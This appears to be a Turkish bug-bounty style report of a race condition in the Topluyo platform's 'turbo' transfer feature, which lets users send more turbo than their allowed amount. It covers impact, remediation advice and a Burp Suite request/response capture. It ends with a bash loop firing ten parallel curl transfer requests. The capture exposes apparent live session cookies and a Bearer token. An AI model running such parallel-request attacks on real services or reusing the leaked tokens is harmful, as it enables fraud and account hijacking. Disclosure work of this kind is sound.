

Platform: Topluyo

Zafiyet Türü: Race Condition / Business Logic Flaw

Etki Seviyesi: Kritik

Özet

Topluyo platformunda **turbo gönderme işlemi** sırasında, eşzamanlı (paralel) istekler doğru şekilde senkronize edilmediği için, kullanıcının göndermesine izin verilen turbo miktarından **daha fazlası gönderilebilmektedir**. Bu durum, işlem bütünlüğünün bozulmasına ve dijital değerlerin çoğaltılmasına yol açmaktadır.

Zafiyetin Tanımı

Turbo gönderme işlemi başlatıldığında, istemci tarafından gönderilen paketler **eşzamanlı olarak işlenebilmekte** ve bu sırada:

- Mevcut bakiye kontrolü
- Gönderim limiti kontrolü
- İşlemin tekilliği (atomicity)

yeterli şekilde korunmamaktadır.

Sonuç olarak, aynı işlem bağlamında **paralel grup gönderimleri** tetiklendiğinde, sistem bu istekleri birbirinden bağımsız değerlendirerek **toplamda izin verilenden fazla turbo transferine** izin vermektedir.

Bu durum klasik bir **race condition** ve **iş mantığı (business logic) zafiyeti** örneğidir.

Etki (Risk)

Bu zafiyet aşağıdaki riskleri doğurmaktadır:

- Dijital değerlerin (turbo) **çoğaltılması**
- Bakiye ve işlem kayıtlarında **tutarsızlık**
- Platform ekonomisinin **bozulması**
- Haksız avantaj elde edilmesi
- Güven kaybı ve olası maddi zarar

Bu tür bir açık, kötü niyetli bir kullanıcı tarafından otomatikleştirilerek **sistemik suistimale** açıktır.

Etkilenen İşlev

- Turbo gönderme (transfer) işlemi
 - Eşzamanlı gönderimlerin işlendiği backend mantığı
-

Teknik Sınıflandırma

- Race Condition**
 - Broken Transaction Integrity**
 - Business Logic Vulnerability**
 - OWASP Top 10:**
 - A01 – Broken Access Control
 - A04 – Insecure Design
-

Kanıt (PoC – Yüksek Seviye)

İzinli test kapsamında, turbo gönderme işlemi sırasında **eşzamanlı/paralel gönderim taleplerinin** oluşturulması sonucunda, sistemin tek bir işlem için tanımlı sınırın üzerinde turbo transferini kabul ettiği gözlemlenmiştir.

Not: PoC, yalnızca zafiyetin varlığını gösterecek **minimum etkiyle** gerçekleştirilmiştir.

Önerilen Çözüm

Zafiyetin giderilmesi için aşağıdaki önlemler önerilir:

- Sunucu tarafında atomik işlem (transaction) kullanımı**
 - Turbo gönderme işlemleri için **kilitleme (locking)** mekanizması
 - Idempotency key** veya tekil işlem kimliği kullanımı
 - Bakiye ve limit kontrollerinin **tek noktadan ve senkron** yapılması
 - Aynı kullanıcıdan gelen paralel isteklerin **sıralı (queue) işlenmesi**
-

Sonuç

Bu zafiyet, istemci tarafında herhangi bir yetki yükseltme gerektirmeden, yalnızca işlem zamanlamasındaki boşluklardan faydalanılarak **kritik seviyede etki** yaratabilmektedir. Platformun finansal/ödül sistemini doğrudan etkilediği için **acil olarak ele alınması** önerilir.

The screenshot displays the Burp Suite interface, specifically the REST client tab. The top toolbar includes buttons for Group 2, 3, 6, 7, and a plus sign, along with a 'Send group (parallel)' dropdown, a 'Cancel' button, and navigation arrows. The main window is split into two panes: 'Request' on the left and 'Response' on the right.

Request Pane:

- Method: POST
- URL: /apis HTTP/2
- Host: topluyo.com
- Cookie: cf_clearance=4WQZRoG4Q2LcNh9fpw3Ndq3tPULHyokkx0rbG0u3h0-1770566245-1.2.1.1-eLZ9cTa795HReQ3i qTijDxQE ICL8cfd.tjabpe4vm57cb800iK6LE6xJSyeOMQwsfXNjcGJL6Gi59t7o4EXZWUylrXpK.OzDpKw2xx_7V569 uWAP94xpZ1N2R0Xy59sgckmfvTHi tqzPaxGVJ0tzW5D0TTziBLF.u26z4BWYQEBuDL6fnkMTRvLGLPkbkDIa fVfQ_xIcImadVRjHdCtRsyMF05_4y7w76X4w; lang=tr; auth_session=11a81a282224fcd95679df6d4278d2e3b363b4252b839eaf6c078c78856514
- User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
- Accept: */*
- Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
- Accept-Encoding: gzip, deflate, br
- Referer: https://topluyo.com/@vulnscnc
- Content-Type: application/json
- Authorization: Bearer 11a81a282224fcd95679df6d4278d2e3b363b4252b839eaf6c078c78856514
- Content-Length: 83
- Origin: https://topluyo.com
- Sec-Fetch-Dest: empty
- Sec-Fetch-Mode: cors
- Sec-Fetch-Site: same-origin
- Priority: u=4
- Te: trailers

Response Pane:

- Status: 200 OK
- Date: Sun, 08 Feb 2026 16:02:47 GMT
- Content-Type: application/json
- Access-Control-Allow-Credentials: true
- Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With
- Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
- Access-Control-Allow-Origin: https://topluyo.com
- Access-Control-Expose-Headers: Content-Length, Content-Type
- Access-Control-Max-Age: 86400
- Vary: Origin
- Cf-Cache-Status: DYNAMIC
- Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
- Strict-Transport-Security: max-age=2592000; includeSubDomains; preload
- X-Content-Type-Options: nosniff
- Response-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/re port/v4?r=LlyRrcV%2F27KodnIpmoDjkkIAsWvUgPzI52pNTBtLBNWLnrvRarJkntZoiPeNz2Bi laov79zSKj1kX xmTYj79fp53r7qhausNdNwusL79*"]}}
- Server: cloudflare
- Cf-Ray: 9cac5a733c8a5172-DUS
- Alt-Svc: h3=":443"; ma=86400

The response body is a JSON object:

```
{  "status": "success",  "data": {    "0": {      "status": "success",      "data": 19461,      "message": "success"    },    "message": "10"  }
```

```
vulnsvnc@SiberGKT:~$ for i in {1..10}; do
  curl -s https://topluyo.com!/api/turbo/transfer \
    -H 'Authorization: Bearer TOKEN' \
    -H 'Content-Type: application/json' \
    --data '{ "user_id": 13684, "quantity": 4, "message": "test" }' &
done

wait
```